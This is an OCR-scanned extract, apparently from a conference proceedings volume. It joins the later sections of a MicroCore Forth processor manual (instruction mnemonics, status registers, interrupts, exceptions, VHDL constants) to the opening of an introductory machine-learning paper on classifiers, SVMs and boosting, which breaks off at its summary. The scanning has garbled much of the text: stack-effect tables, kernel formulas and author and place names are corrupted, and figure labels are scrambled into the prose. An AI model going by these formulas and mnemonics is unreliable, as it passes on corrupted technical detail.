+ | both | pop |conditional call to Program[PC+TOS] relative_ CALL
push | Stack -> NOS -> TOS DROP

5.2 ALU instructions

Stack | act [Operation Forth operators / phrases
none | none | Complex math instructions, see below SWAP
pop Stack -> NOS <op> TOS -> TOS + - AND OR XOR NIP
push NOS <op> TOS -> TOS 2DUP_+ OVER
TOS -> NOS -> Stack
both | none | TOS <uop> -> TOS 0= 2* ROR ROL 2/ u2/
Unary math instructions, see below

5.3 MEM instructions

Stack | act |Operation Forth operators / phrases
none | pop |Stack ->NOS ->TOS -> Register >R, R!
LOCAL := Stack -> NOS -> Data[RSP+TOS] store into local variables
TASK := Stack -> NOS -> Data[ TASK+TOS] store into task variables
pop Stack -> NOS -> Data[ TOS+<inc>] ! pre-incrementing data
TOS + <inc> -> TOS memory or I/O store
push Data[TOS+<inc>] -> NOS -> Stack @ pre-incrementing data
TOS + <inc>-> TOS memory or I/O fetch
both | push |Register -> TOS -> NOS -> Stack R@, R>
LOCAL := Data[RSP+TOS] -> NOS -> Stack fetch from local variables
TASK := Data[TASK+TOS] -> NOS -> Stack fetch from task variables
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5.4 USR instructions
By default, the USR instructions perform an immediate call to the following vector address:

vector addr = instruction(4..0) * usr_vect width

Therefore, each trap vector has room for usr vect width instructions.
Four trap vectors are used by MicroCore itself:

0: Reset

1: ISR: Interrupt Service Routine

2: ESR: Exception Service Routine

3: OSR: Overflow Service Routine

5.5 Complex Branches (BRA PUSH)

DUP TOS -> TOS -> NOS -> Stack

QDUP Performs a DUP when TOS is non-zero, otherwise does nothing

QOVL Performs a call to the overflow service routine when the overflow status bit is set
IRET Performs an EXIT and restores the status register from TOS

THREAD | Threaded code interpreter.
IF Data[IP] <0 THEN (most significant bit set)

Program Address <- Data[IP]

IP <- IP+1
ELSE

PC <- Program_Address - 1

IP <- Data[IP]

Stack <- NOS <- TOS <- [P+1
END IF
The two instruction sequence "THREAD >R" is a tag threaded code interpreter.
When the most significant bit is set, the remaining bits are an address of the code to be
executed.
When the most significant bit is not set, it is the address of another threaded code
definition.
The sequence "THREAD >R" will be automatically repeated until an executable code
sequence is located, pushing return addresses on the return stack appropriately.

TOKEN | Token threaded code interpreter.
The two instruction sequence "THREAD TOKEN" is a token threaded code interpreter.
IF IP = address within token table THEN
Program_Address <- Data[IP]
IP <- TOS <- NOS <- Stack
ELSE
>R
END IF
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5.6 Unary Math Instructions (ALU BOTH)

SL Shift Left 0->LSB, MSB ->C

ASR Arithmetic Shift Right |MSB ->MSB-1, LSB ->C

LSR Logical Shift Right 0->MSB, LSB ->C

ROR  [ROtate Rigth C->MSB,LSB->C

ROL ROtate Left C->LSB,MSB >C

ZEQU | Zero EQUals When TOS=0, true -> TOS, otherwise false -> TOS
CC Complement Carry not Carry -> Carry

5.7 Complex Math (ALU NONE)

When both NOS and TOR are implemented, complex math step instructions are available.

MULTS is a step instruction for an unsigned multiply of two numbers producing a double precision

product. The multiplicand must be in NOS, the multiplier must be in TOR and the product
builds up in TOS || TOR.

Macro: umultiply ( multl mult2 -- prod_1 prod h)
>r 0 #data_ width 0 7DO mults LOOP nipr>;

generates code for a multi cycle U* instruction, which is independent of the data word
width. U* may be interrupted at any time.

ODIVS, UDIVS, LDIVS are step instructions for an unsigned divide of a double precision dividend

by a divisor, producing a single precision quotient and the remainder. When the result does
not fit into the quotient, the overflow status bit will be set.

Macro: udivide ( div_1div_h divisor -- rem quot )
Odivs #data width 0 7DO udivs LOOP ldivs nip r>;

generates code for a multi cycle UM/MOD instruction, which is independent of the data
word width. In order to execute the UDIVS instruction, the divisor must be in NOS, div 1
must be in TOR and div_h must be in TOS. ODIVS takes care of this parameter set up
clearing the overflow bit as well. Each division step must take into account the most
significant bit of the previous step and therefore, a final step LDIVS is needed to produce a
valid quotient and to check for overflow. UM/MOD may be interrupted at any time.
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5.8 Instruction Mnemonics

\ Conditional exits

NEVER NONE BRA Op: nop (-—=)
ALWAYS NONE BRA Op: exit ( ——)

ZERO NONE BRA Op: z-exit ( flag —-—- )
NZERO NONE BRA Op: nz-exit ( flag -- )
SIGN NONE BRA Op: s-exit ( -——)
NSIGN NONE BRA Op: ns-exit (-—=)

NOVL NONE BRA Op: no-exit (-——=)
NCARRY NONE BRA Op: nc-exit ( -——)

\ Conditional branches

NEVER POP BRA Op: drop_flag ( flag brn addr -- brn addr )
ALWAYS POP BRA Op: branch ( brn _addr --)

ZERO POP BRA Op: z-branch ( brn_addr -- )

NZERO POP BRA Op: nz-branch ( brn_addr -- )

SIGN POP BRA Op: s-branch ( brn addr -- )

NSIGN POP BRA Op: ns-branch ( brn addr -- )

NOVL POP BRA Op: no-branch ( brn_addr -- )

NCARRY POP BRA Op: nc-branch ( brn_addr -- )

\ Conditional calls

NEVER BOTH BRA Op: drop (n -—)

ALWAYS BOTH BRA Op: call ( brn_addr -- )

ZERO BOTH BRA Op: z-call ( brn addr -- )

NZERO BOTH BRA Op: nz-call ( brn _addr --)

SIGN BOTH BRA Op: s-call ( brn_addr -- )

NSIGN BOTH BRA Op: ns-call ( brn addr -- )

NOVL BOTH BRA Op: no-call ( brn addr -- )

NCARRY BOTH BRA Op: nc-call ( brn _addr --)

\ Complex branches

DUP PUSH BRA Op: dup (n -—-—nn)

EXC PUSH BRA Op: exc (-=)

QDUP PUSH BRA Op: ?dup (n-—-nn | 0)

QOVL PUSH BRA Op: ?ovl ( ——)

INT PUSH BRA Op: int ( —— status )

IRET PUSH BRA Op: iret ( status -- )

THREAD PUSH BRA Op: thread ( —- ip_addr )

TOKEN PUSH BRA Op: token ( ip addr -- )

\ Binary operators

ADD POP ALU Op: + ( n1 n2 -- nl+n2 )

ADC POP ALU Op: +c ( nl n2 -—— nl+n2+carry )
SUB POP ALU Op: - ( n1 n2 -—— nl-n2 )
SSUB POP ALU Op: swap- ( n1 n2 -—- n2-nl )

AND POP ALU Op: and ( n1 nZ -- nl and n2 )
OR POP ALU Op: or ( n1 n2 -- nl or n2 )
XOR POP ALU Op: xor ( n1 n2Z -- nl xor n2 )
NOS POP ALU Op: nip ( n1 n2 -- n2 )
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ADD PUSH ALU Op: 2dup + ( n1 n2 -- nl n2 nl+n2 )

ADC PUSH ALU Op: 2dup +c ( n1 n2 -- nl n2 nl+n2+carry )
SUB PUSH ALU Op: 2dup - ( n1 n2 -- nl n2 nl-n2 )
SSUB PUSH ALU Op: 2dup swap- ( nl n2 -- nl n2 n2-nl )

AND PUSH ALU Op: 2dup and ( n1 n2Z -- nl n2 nl and n2 )
OR PUSH ALU Op: 2dup or ( n1 n2 -- nl n2 nl or n2 )
XOR PUSH ALU Op: 2dup xor ( n1 n2 -- nl n2 nl xor n2 )
NOS PUSH ALU Op: over ( n1 n2 -- nl n2 nl )

\ Unary Operators

NOT BOTH ALU Op: invert ( nl -- n2 )

SL BOTH ALU Op: 2* ( n1 —-— n2 )

ASR BOTH ALU Op: 2/ ( nl -- n2 )

LSR BOTH ALU Op: u2/ (nl -- n2 )

ROR BOTH ALU Op: ror ( nl -- n2 )

ROL BOTH ALU Op: rol (nl -— n2 )

ZEQU BOTH ALU Op: 0= ( nl -- flag )

CcC BOTH ALU Op: cc (-=)

\ Complex Math Steps

MULTS NONE ALU Op: mults ul u2 -- ul u3 )

0DIVS NONE ALU Op: 0Odivs udl u2 -- u2 u3 )

UDIVS NONE ALU Op: udivs
LDIVS NONE ALU Op: 1ldivs

u2 uld -- u2 ul' )
u2 u3 -- uz2 u3' )

—_—~ o~ o~~~

SWAPS NONE ALU Op: swap nl n2 -- n2 nl )

\ Data Memory access

N PUSH MEM Op: +1d ( addr -- n addr+n )

N POP MEM Op: +st ( n addr -- addr+n )

\ Internal Register access

STATUS BOTH MEM Op: status(@ -— status )

TOR BOTH MEM Op: r@ --n )

RSTACK BOTH MEM Op: r> --—n )

LOCAL BOTH MEM Op: +11d index -- n rstack+index )

o~ o~~~ o~ o~ o~ o~

RSP BOTH MEM Op: rsp@ -— rstack addr )

DSP BOTH MEM Op: dsp@ -- dstack addr )

TASK BOTH MEM Op: +tld index -- n task+index )
IP BOTH MEM Op: ip@ -— addr )

STATUS NONE MEM Op: status! ( status -- )

TOR NONE MEM Op: r! (n -——)

RSTACK NONE MEM Op: >r (n —-——)

LOCAL NONE MEM Op: +1st ( n index —-- rstack+index )
RSP NONE MEM Op: rsp! ( rstack addr -- )

DSP NONE MEM Op: dsp! ( dstack addr -- ? )

TASK NONE MEM Op: +tst ( n index -- task+index )
IP NONE MEM Op: ip! ( addr -- )
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6 Core Registers

6.1 STATUS

Bit | Name | Access | Description

0 C R/W | The Carry-Flag reflects the result of the most recent ADD, ADC, SUB, SSUB,
SL, ASR, LSR, ROR, and ROL instructions. When subtracting, it is the
complement of the borrow bit.

1 | OVL | R/W |The Overflow-Flag reflects the result of the most recent ADD, ADC, SUB,
SSUB, UDIVS, and LDIVS instructions.

2 IE R/W | Interrupt-Enable-Flag

3 | IIS R/W | The Interrupt-In-Service-Flag is set at the beginning of an interrupt-
acknowledge cycle. It is reset by the IRET (Interrupt-RETurn) instruction.
When IIS is set, interrupts are disabled. When the Status-register is read, IIS
always reads as '0'.

4 | LIT R | The LITeral-Status-Flag reflects the most significant bit of the previous

instruction.

5 N R | The Negative-Flag reflects the content of the most-significant-bit of TOS or of
NOS when LIT=1

6 Z R | The Zero-Flag reflects the content of TOS or of NOS when LIT=1

Z and N reflect the actual state of the top "number" on the stack. This may be in TOS (when LIT=0)
or in NOS (when LIT=1) because e.g. a target address may be in TOS.

For the ordering of the bits it has been taken into consideration that "masks" for masking off flags
can be loaded with only one literal nibble. This is important for the C- and IE-flags, see below.
6.2 TOR

Top-Of-Return-stack. This allows access to the return-stack without pushing or popping it.

6.3 RSTACK

Return-STACK. When RSTACK is used as a destination, a return-stack push is performed. When it
is used as a source, a return-stack pop is performed.

6.4 LOCAL

This register-addressing mode (MEM NONE LOCAL and MEM BOTH LOCAL) is included in
order to support C and its local variable mentality. These can be placed in a return-stack frame. The
actual data memory address is the sum of RSP+TOS. After the memory access, the absolute memory
address will remain in TOS.

6.5 RSP

Return-Stack-Pointer. It is used to implement the return-stack that is located at the upper end of the
data memory and it can be read and written to support multi-tasking and stack-frame linkage. The
return stack pointer width is defined on the VHDL level. For multi-tasking support, multiple return
stacks can be instantiated extending the address to the left of the return-stack-pointer itself.

6.6 DSP

Data-Stack-Pointer. It is used to implement the data-stack and it can be read and written to support
multi-tasking. The data stack pointer width is defined on the VHDL level. For multi-tasking support,
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multiple data stacks can be instantiated extending the address to the left of the data-stack-pointer
itself.

6.7 TASK

The TASK register itself can be read and written via memory mapped I/O (address = -2). In a multi-
tasking environment it would hold an address pointing at the Task Description Block (TDB) of the
active task. The implementation of the multitasking mechanism is operating system dependent.
Variables that are local to a task can be accessed via the MEM NONE TASK (store) and MEM
BOTH TASK (fetch) instructions. The data memory address is the sum of TASK+TOS and after the
memory access the absolute memory address remains in TOS.

If the TASK register is not used for multitasking support, it constitutes a general base register for a
pre-incrementing base-offset addressing mode.

6.8 1IP

The IP register is used to support tag and token threaded code. See: THREAD and TOKEN in the
complex branches group.

7 Memory Mapped Registers

7.1 FLAGS (read)/ IE (write) (-1)
This is a pair of registers — FLAGS for reading, IE (Interrupt Enable) for writing.

An interrupt condition exists as long as any bit in FLAGS is set whose corresponding bit in IE has
been set previously. Interrupt processing will be performed when the processor is not already
executing an interrupt (IIS-status-bit not set) and interrupts are enabled (IE-status-bit set).

Typically at the beginning of interrupt processing (after calling the hard-wired interrupt handler
address ISR) the FLAGS-register will be read. One specific bit is associated with each potential
interrupt source. When a certain interrupt has been asserted, its associated bit will be set. All
interrupts are static and therefore, it is the responsibility of the interrupt service routine (ISR) of a
specific interrupt to reset the interrupt signal of the external hardware before the end of the ISR.

IE (Interrupt Enable) is a register, which can only be written, and it holds one enable bit for each
interrupt source. Setting or resetting interrupt enable bits is done in a peculiar way, which could be
called "bit-wise writing":

When IE is written, the least significant bit determines whether individual IE-bits will be set ('1') or
reset ('0'). All other bits written to IE select those enable bits, which will be affected by the write
operation. Those bits that are set ('1") will be written to, those bits that are not set ('0") will not be
changed at all. This way individual interrupt enable bits may be changed in a single cycle without
affecting other IE-bits and without the need to use a "shadow variable".

7.2 TASK register (-2)

The TASK register itself can be read and written at address -2. The TASK register sets the base
address for the MEM NONE TASK and the MEM BOTH TASK data memory access instructions.
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8 Booting
Given MicroCore's hardware architecture, this is very simple:

A RESET signal resets all registers to zero. Because the code for a NOP { BRA NONE NEVER }
happens to be all zeros, the processor just fetches the instruction pointed to by the PC register (which
had also been reset to zero) in the first cycle. Therefore, the reset vector happens to be at memory
address zero.

9 Interrupts

9.1 The Interrupt Mechanism

At first, interrupt requests are synchronised.

In the succeeding cycle(s) the following mechanism will unfold by hardware design:
1* cycle:

The current program memory address will be loaded into the PC un-incremented.

The instruction BRA PUSH INT will be loaded into the INST register instead of the output of the
program memory.

2" eycle:

Now, BRA PUSH INT will be executed that performs a CALL to the ISR-address, which is a
constant address, selected by the program address multiplexer and STATUS is pushed on the data
stack at the same time.

Therefore, only the first INT-cycle must be performed by special hardware. The second cycle (INT-
instruction) is executed by an instruction that is forced into the INST register during the first
Interrupt acknowledge cycle.

9.2 Handling Multiple Interrupt Sources

Whenever an interrupt source whose corresponding interrupt enable bit is set in the [E-register is
asserted its associated bit in the FLAGS-register will be set and an interrupt condition exists. An
interrupt acknowledge cycle will be executed when the processor is not currently executing an

interrupt (IIS-bit not set) and interrupts are globally enabled (IE-bit of the STATUS-register set).

Please note that neither the call to the ISR-address nor reading the FLAGS-register will clear the
FLAGS register. It is the responsibility of each single interrupt server to reset its interrupt signal in
the external hardware as part of its interrupt service routine.

10 Exceptions
The Exception signal complements interrupts:
An interrupt is an event that has not been anticipated by the software currently being executed.

An exception is an event that has not (yet) happened although anticipated by the software. Therefore,
the processor has to wait or - in the case of a multi-tasking environment - it would process another
task.

To my knowledge, the Transputer has been the first processor to realise an exception mechanism in
hardware, which was used to perform a task switch that was entirely realised in hardware. Nice as
this feature and the underlying philosophy of its programming language Occam may be, it crippled
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the transputer for traditional programming languages. This in turn did make the transputer difficult to
understand and market. It never became really popular although its users were happy with it.

Nevertheless, hardware support for multitasking seems to be an attractive feature greatly simplifying
software engineering for complex systems. Analysing the real needs w.r.t. multitasking support it
occurred to me that a full-blown task switch mechanism in hardware is not really needed. Instead, a
mechanism that would allow to access resources that may not be ready yet using fetch and store
without the need to explicitly query associated status flags beforehand is all that is needed to hide
multitasking pains from the application programmer.

Therefore, MicroCore has an Exception mechanism to support multitasking or, to be less ambitious,
to deal with busy resources. Fortunately, it turned out that the implementation of this mechanism in
MicroCore comes almost for free and therefore, it is build into the core from the very beginning.

10.1 EXCEPTION Signal

An additional external control input has been added: EXCEPTION. When the processor intends to
access a resource, the resource may not be ready yet. In such an event, it can assert the EXCEPTION
signal before the end of the current execution cycle (before the rising CLK edge). This disables
latching of the next processor state in all registers but the INST register that loads BRA PUSH EXC
instead of the next instruction from program memory.

In the next processor cycle, BRA PUSH EXC will be executed calling the ESR-address (Exception
Service Routine).

The ESR-address will typically hold a branch to code, which will perform a task switch depending on
the operating system. This may be used to emulate the Transputer. Please note that the return address
pushed on the return-stack is the address of the instruction following the one that caused the
Exception. Therefore, before re-activating the excepted task again, the return address on the return-
stack must be decremented by one prior to executing the EXIT instruction (BRA NONE ALWAYS)
in order to re-execute the instruction, which caused the exception previously. Please note that no
other parameter reconstruction operation prior to re-execution is needed because the EXCEPTION
cycle fully preserves all registers but the INST register.

The EXCEPTION mechanism is independent from the interrupt mechanism. It adds one cycle of
delay to an interrupt acknowledge when both an interrupt request and an EXCEPTION signal
coincide.

In essence, the EXCEPTION mechanism allows to access external resources without having to query
status bits to ascertain the availability/readiness of a resource. This greatly simplifies the software
needed for e.g. serial channels for communicating with external devices or processes.

11 Data Memory Access

On a data memory access, TOS holds the base address and NOS holds/receives the value to be
exchanged with memory. Pre-incrementing access operators +LD and +ST have been defined. The
group field is used as a signed increment spanning the range from -4 .. 3 and after the memory
access, the incremented address remains in TOS.

Relative addressing into the return-stack may be used using the LOCAL "register". The actual
memory address is the output of the ALU-adder, adding the offset in TOS and the RSP. After the
memory access, TOS holds the physical address (pointer) of the memory access. As a further
alternative, relative addressing into the data memory can be performed relative to the TASK register
that points to the beginning of a block of memory that may e.g. hold variables that are local to a task.
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11.1 Memory Map
Addresses are shown for a 16 bit data path width by way of example.

$FFFF
2**reg _addr width
internal registers

memory mapped
external /0O

"van Neumann" 2**prog_ram_width
program memory 8 bit program memory cells

$7FFF
Return Stack
(growing towards
lower addresses)

2**data_addr width

Data Memory

$0000
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12 The Instruction Cycle

Due to the use of a tri-state uBus and synchronous blockRAM for the stacks and data and program
memory "caches", one basic uCore instruction cycle consists of four phases and therefore, at least
two input clock (sysCLK) cycles are needed for one instruction cycle.

—

sysCLK J | | |

uCLK |

Instruction
cycle

<

Instruction decode
while the uBus is

tri-stated

Data memory and
return stack address
computation

Next instruction
address computation

Latching of results,
write to memories,
instruction fetch

>

13 MicroCore Scaling

The values assigned to these VHDL constants are the ones used for the uCore100 prototyping board.
Important notice: Most of these settings have to be "ported" to the cross-compiler by setting
Constants in the load <application>. £ file appropriately.

13.1 Semantic Switches

CONSTANT syn_ stackram STD_LOGIC := 'l1';

When set to '1', the stack ram will be relised as synchronous blockRAM. Otherwise, it will be
realised as asynchronous RAM, which may be internal or external of the the FPGA.

CONSTANT with locals STD_LOGIC := '1';

When set to 'l', the Instantiates the LOCAL addressing mode relative to the return stack pointer
(RSP+TOS).

CONSTANT with tasks STD_LOGIC := 'l1';

When set to '1', the TASK addressing mode relative to the TASK register (TASK+TOS) will be
instantiated. For multi-tasking, tasks addr width (see below) has to be set appropriately as well.

CONSTANT with nos STD_LOGIC := '1';

When set to '1', the NOS (Next-Of-Stack) register will be instantiated. This is needed for the single
cycle SWAP instruction and the complex math step instructions.

|l 1 |l ;

CONSTANT with_tor STD_LOGIC :=

When set to '1', the TOR (Top-Of-Return_stack) register will be instantiated. This is needed for the
decrement _and branch instruction NEXT and the complex math step instructions.
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CONSTANT with ip : STD_LOGIC := '1';

When set to 'l', the IP (Instruction Pointer) register will be instantiated. This is needed for the
THREAD and TOKEN instructions for interpreting threaded code.

CONSTANT with tokens : STD_LOGIC := 'l';

When set to 'l', the TOKEN instruction will be instantiated, which allows rapid token threaded code
interpretation.

13.2 Vector Widths

CONSTANT data_width : NATURAL := 32;

This defines the data path width and therefore, the magnitude of the numbers that may be processed.
Please note that the object code will not change as long as the magnitude of the largest number to be
processed fits the data path width.

CONSTANT data_addr_ width : NATURAL := 21;

This sets the address range of the data memory, which can at most be data width-1 wide because the
"upper" half of the address range is used for external memory mapped I/O.

CONSTANT dcache _addr width : NATURAL := O0;
Number of address bits of the data memory space that is realised as block-RAM inside the FPGA.

CONSTANT prog_ addr width : NATURAL := 19;

Program memory address width sets the size of the program memory. It can be at most data width
wide because all program addresses have to fit on the return stack.

CONSTANT pcache_addr width : NATURAL := O0;

Number of address bits of the program memory space that is realised as block-RAM inside the
FPGA. When pcache addr width=0, no internal RAM is used; when
pcache addr width=prog addr width, no external RAM is used at all.

CONSTANT prog_ram width : NATURAL := 16;

Number of address bits that may be used to modify the program memory van Neumann style. If set to
zero, the program memory operates as a pure ROM of a Harvard Architecture.

CONSTANT ds_addr_width : NATURAL := 6;
Number of address bits for the data stack memory.
CONSTANT rs_addr width : NATURAL := 8;

Number of address bits for the return stack memory.
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CONSTANT tasks_addr _width : NATURAL := 3;

Number of address bits for the task address. 2**tasks addr width copies of the data and the return
stack will be allocated. The task address is added to the left of both the ds_address and the
rs_address.

CONSTANT usr_vect width : NATURAL := 3;

The implicit call destination addresses for two adjacent USR instructions will be 2**usr_vect width
apart from each other.

CONSTANT reg_ addr width : NATURAL := 3;

Number of address bits reserved for internal memory mapped registers that reside at the upper end of
the address space.

CONSTANT interrupts : NATURAL := 2;

Number of interrupt inputs and their associated FLAGS and Interrupt-Enable bits.

CONSTANT token width : NATURAL := 8;

Number of bits for a token address of a token threaded system.

14 Software Development

An interactive software development environment for MicroCore is rather straightforward and it has
been realised under Linux.

A "debuggable MicroCore" has an additional umbilical interface that can be controlled by a
centronics port on the PC. The program memory, which must be realised as a RAM, can be loaded
across this interface. After loading the application, a very simple debug kernel takes control
exchanging messages with the host.

14.1 Forth Cross-Compiler

It loads on top of Win32Forth (Windows) or gforth (Linux) because these are free 32-bit system. It
produces a binary image for the program memory as well as a VHDL file, which behaves as the
program memory in a VHDL simulation. Because the Forth systems are 32 bit systems, the cross-
compiler only supports numbers up to 32 bits signed magnitude. For even larger data path widths, the
cross compiler has to be adapted accordingly if larger numbers need to be compiled.

It is a short but rather complex piece of code and my 4™ iteration on implementing a Forth cross-
compiler in Forth.

The most challenging aspect was compiling MicroCore's branches, which, as relative branches, are
preceded by a variable number of literal nibbles. The cross-compiler at first tries to get away with
one literal nibble for the branch offset. If it turns out that this is not sufficient space for the branch
offset at the closing ELSE, THEN, UNTIL, REPEAT, NEXT, or LOOP the source code is re-
interpreted again, leaving space for the required number of literal nibbles in front of the branch
opcode.
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14.2 C Cross-Compiler

A first implementation has been realised for an earlier version of MicroCore at the technical
university of Brugg/Windisch, Switzerland. The compiler is based on the LCC compiler, and a
MicroCore back-end was created that takes the syntax tree as input.

It turned out that the LOCAL addressing mode is all that is needed to support C's local variable
mentality.

15 Project Status

uCore 1.20 has been released after successful hardware implementation. A prototyping board with a
Xilinx XC2S200 FPGA is available sponsored by Forth Gesellschaft eV. Another prototyping board
with an Altera FPGA will be realised as well.

The Forth cross-compiler is operational for up to 32 bit signed literals. It’s already of production
quality. Some more effort could be spent on peephole optimisations.

The C cross-compiler is in a prototype stage producing code for an obsolete version. Another design
iteration is needed.

A single-step debugger as well as a simulator have been realised in C running under Linux.

The VHDL code has been written with scalability in mind. Therefore, both data and program
memory may be realised externally or internally using block-RAM inside the FPGA. As a further
option, some of the memory may be realised internally serving as low-power "caches".

MicroCore is small. A 32-bit implementation with all options enabled consumes 30% of the
resources of the XC2S5200. With a 25 MHz clock it executes one instruction cycle every 80 ns.

As a next step, a USB controller that is part of the prototyping board will be configured such that all
control operations can be performed across the USB link, replacing the centronics umbilical:

e Loading an FPGA configuration

e Programming the on-board configuration EEPROM
e Loading a program into the program memory

e Resetting MicroCore

e Single-step debugging MicroCore
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A Brief Introduction into Machine Learning

Gunnar Riitsch
Friedrich Miescher Laboratory of the Max Planck Society,
Spemannstrafle 37, 72076 Tiibingen, Germany
http://www.tuebingen.mpg.de/ “raetsch

1 Introduction

The Machine Learning field evolved from the broad field of Artificial Intelligence,
which aims at mimicking intelligent abilities of humans by machines. In the field of
Machine Learning one considers the important question of how to enable machines
able to “learn”. Learning in this context is understood as inductive inference, where
one observes examples that represent incomplete information about some “statistical
phenomenon”. In supervised learning, there is a label associated with each example,
which is supposed to be the answer to a question about the example. If the label is
discrete, the task is called classification problem — otherwise, for real-valued labels
we speak of a regression problem. Based on these examples (including the labels),
one is particularly interested in predicting the answers for other cases before they are
explicitly observed. Hence, learning is not only a question of remembering but also of
generalization on unseen cases. Typical prediction tasks include spam mail classifi-
cation, tumor tissue categorization or face detection in natural seens. In unsupervised
learning one typically tries to uncover hidden regularities (e.g. clusters) or to detect
anomalies in the data (for instance some unusual machine function or a network intru-
sion).

2 Supervised Classification

An important task in Machine Learning is classification, also referred to as pattern
recognition, in which one attempts to build algorithms capable of automatically con-
structing methods for distinguishing between different classes, based on their differ-
entiating patterns. Watanabe [1985] described a pattern as “’the opposite of chaos; it
is an entity, vaguely defined, that could be given a name.” Examples of patterns are
human faces, text documents, handwritten letters or digits, EEG signals, and the DNA
sequences that may cause a certain disease.

More formally, the goal of a (supervised) classification task is to find a functional
mapping between the input data X, describing the input pattern, and a class label Y
(e.g. —lor+1),suchthat Y = f(X). The construction of the mapping is based on so-
called training data supplied to the classification algorithm. The aim is to accurately
predict the correct label on unseen data.

A pattern (also: “example”) is described by its features. These are the character-
istics of the examples for a given problem. For instance, in a face recognition task

1
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features could be the color of the eyes or the distance between the eyes. Thus, the
input to a pattern recognition task can be viewed as a two-dimensional matrix, whose
axes are the examples and the features.

Pattern classification tasks are often divided into several sub-tasks:

1. Data collection and representation.
2. Feature selection and/or feature reduction.

3. Classification.

Data collection and representation are mostly problem-specific. Therefore it is difficult
to give general statements about this step of the process. In broad terms, one should try
to find invariant features, that describe the differences in classes as good as possible.

Feature selection and feature reduction attempt to reduce the dimensionality (i.e.
the number of features) for the remaining steps of the task. Finally, the classification
phase of the process one finds the actual mapping between patterns and labels (or
targets). In many applications the second step is not essential or is implicitly performed
in the third step.

3 Classification Algorithms

Although Machine Learning is a relatively young field of research, there exist more
learning algorithms than I can mention in this introduction. I chose to describe six
methods that I frequently use when solving data analysis tasks (usually classification).
The first four methods are traditional techniques that have been widely used in the past
and work reasonably well when analyzing low dimensional data sets with not too few
labeled training examples. In the second part I will briefly outline two methods (Sup-
port Vector Machines & Boosting) that have received a lot of attention in the Machine
Learning community recently. They are able to solve high-dimensional problems with
very few examples (e.g. fifty) quite accurately and also work efficiently when examples
are abundant (for instance several hundred thousands of examples).

3.1 Traditional Techniques

k-Nearest Neighbor Classification Arguably the simplest method is the k-Nearest
Neighbor classifier [Cover and Hart, 1967]. Here the k points of the training data
closest to the test point are found, and a label is given to the test point via a majority
vote between the k£ points. This method is highly intuitive and attains — given its
simplicity — remarkably low classification errors, but it is computationally expensive
and requires a large memory to store the training data.

Linear Discriminant Analysis computes a hyperplane in the input space that min-
imizes the within-class variance and maximizes the between class distance [Fisher,
1936]. It can be efficiently computed in the linear case even with large data sets. How-
ever, often a linear separation is not sufficient. Nonlinear extensions by using kernels
exist [Mika et al., 2003], but they are difficult to apply to problems with large training
sets.

Decision Trees Another intuitive class of classification algorithms are decision trees.

2
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These algorithms solve the classification problem by repeatedly partitioning the in-
put space, so as to build a tree whose nodes

are as pure as possible (that is, they contain Root
. . . 3 warm blood?
points of a single class). Classification of a Yes S

new test point is achieved by moving along
the branches of the tree, starting from the root
node, until a terminal node is reached. De-
cision trees are simple yet effective classifi-
cation schemes for small datasets. The com-
putational complexity scales unfavorably with
the number of dimensions of the data. Large

datasets tend to result in complicated trees, Figure1: Anexample of a decision tree (Fig-
which in turn require a large memory for stor- "' taken from Yom-Tov [2004))

age. The C4.5 implementation by Quinlan [1992] is frequently used and can be down-
loaded at http://www.rulequest.com/Personal.

Does it have
feathers?

Do its adults
have gills?

Does it
live all its life

on land?
Yes No

‘ Bird ‘ ‘Mammal‘ | Fish ‘

Neural Networks are perhaps one of the most commonly used approaches to clas-
sification. Neural networks (suggested first by Tur- %
ing [1992]) are a computational model inspired by \
the connectivity of neurons in animate nervous sys- %‘ @
tems. A further boost to their popularity came with the \
proof that they can approximate any function mapping % e;
via the Universal Approximation Theorem [Haykin, @/
1999]. A simple scheme for a neural network is shown
in Figure 2. Each circle in the hidden and output layer PPuts Hl:;‘ii“ Ci:;g‘r“
denotes a computational element referred to as a neu- o

. . .. Figure 2: A schematic diagram of a
ron, which computes a weighted sum of its inputs, and | ~o" (e ele in the
possibly performs a nonlinear function on this sum. hidden and output layer is a compu-
If certain classes of nonlinear functions are used, the tational element known as a neuron.
function computed by the network can approximate (Figure taken from Yom-Tov [2004])
any function (specifically a mapping from the training patterns to the training targets),
provided that enough neurons exist in the network and enough training examples are
available.

@— Output

3.2 Large Margin Algorithms

Machine learning rests upon the theoretical foundation of Statistical Learning Theory
[e.g. Vapnik, 1995] which provides conditions and guarantees for good generalization
of learning algorithms. Within the last decade, large margin classification techniques
have emerged as a practical result of the theory of generalization. Roughly speaking,
the margin is the distance of the example to the separation boundary and a large mar-
gin classifier generates decision boundaries with large margins to almost all training
examples. The two most widely studied classes of large margin classifiers are Support
Vector Machines (SVMs) [Boser et al., 1992, Cortes and Vapnik, 1995] and Boosting
[Valiant, 1984, Schapire, 1992]:

3

dd | 21C3 | Machine Learning in Science and Engineering 4l



Support Vector Machines work by mapping the training data into a feature space
with the aid of a so-called kernel function and then separating the data using a large
margin hyperplane (cf. Algorithm 1). Intuitively, the kernel computes a similarity
between two given examples. Most commonly used kernel functions are RBF (Radial
Basis Function) kernels k(x, x’) = exp (szi’;uz) and polynomial kernels k(x,x') =
(x - x4,

The SVM finds a large margin separation between the training examples. Since
previously unseen examples will often be close to the training examples, the large
margin ensures that these examples are correctly classified as well, i.e., the decision
rule generalizes. For so-called positive definite kernels, the optimization problem can
be solved efficiently and SVMs have an interpretation as a hyperplane separation in
a high dimensional feature space [Vapnik, 1995, Miiller et al., 2001, Scholkopf and
Smola, 2002]. Support Vector Machines have been used on million dimensional data
sets and in other cases with more than a million examples [Mangasarian and Musi-
cant, 2001]. Research papers and implementations can be downloaded from the kernel
machines web-site http://www.kernel-machines.org.

Algorithm 1 The Support Vector Machine with regularization parameter C'.
Given labeled sequences (x1,%1),. .., (Xm,ym) (x € X andy € {—1,+1}) and a
kernel k, the SVM computes a function

Fx) = aik(xi,x) + 0,
=1

where the coefficients «; and b are found by solving the optimization problem

minimize Z??jzl Ozz‘Oéjk'(Xi, Xj) +C 221 &i

subject to yif(xi) 21§

Boosting The basic idea of Boosting and ensemble learning algorithms in general
is to iteratively combine relatively simple base hypotheses — sometimes called rules
of thumb — for the final prediction. One uses a so-called base learner that generates
the base hypotheses. In Boosting the base hypotheses are linearly combined. The
combination of these simple rules can boost the performance drastically. In the case
of two-class classification, the final prediction is the weighted majority of the votes.
It has been shown that Boosting has strong ties to support vector machines and large
margin classification [Rétsch, 2001, Meir and Rétsch, 2003]. Boosting techniques have
been used on very high dimensional data sets and can quite easily deal with more than
hundred thousand examples. Research papers and implementations can be downloaded
from http://www.boosting.org.

4
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4 Summary

